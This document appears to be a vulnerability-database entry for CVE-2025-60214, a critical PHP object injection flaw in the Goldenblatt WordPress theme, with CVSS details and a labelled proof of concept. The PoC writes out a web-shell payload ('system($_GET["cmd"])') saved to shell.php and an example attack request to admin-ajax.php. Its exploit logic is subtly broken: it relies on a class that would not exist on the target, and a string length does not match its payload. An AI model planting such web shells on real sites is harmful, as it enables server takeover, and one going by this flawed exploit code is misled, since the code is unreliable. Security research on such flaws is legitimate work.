Deserialization of Untrusted Data vulnerability in BoldThemes Goldenblatt goldenblatt allows Object Injection.This issue affects Goldenblatt: from n/a through < 1.3.0.
CVSS Details
CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Goldenblatt主题 < 1.3.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php
// CVE-2025-60214 PoC - Goldenblatt Theme PHP Object Injection
// This is a conceptual proof of concept for educational purposes only
class GoldenblattExploit {
public $payload;
function __construct() {
// Example malicious payload
$this->payload = '<?php system($_GET["cmd"]); ?>';
}
function __wakeup() {
// This method is called during deserialization
// Attackers can abuse this to execute arbitrary code
if (isset($this->payload)) {
file_put_contents('shell.php', $this->payload);
}
}
}
// Generate malicious serialized object
$exploit = new GoldenblattExploit();
$malicious_data = serialize($exploit);
echo "Malicious Serialized Data:\n";
echo $malicious_data . "\n\n";
// To exploit, an attacker would send this data to the vulnerable endpoint
// Example HTTP POST request:
/*
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=goldenblatt_action&data=O:16:"GoldenblattExploit":1:{s:8:"payload";s:36:"<?php phpinfo(); ?>";}
*/
// The server would unserialize this data without proper validation,
// triggering the __wakeup() method and executing the malicious code
?>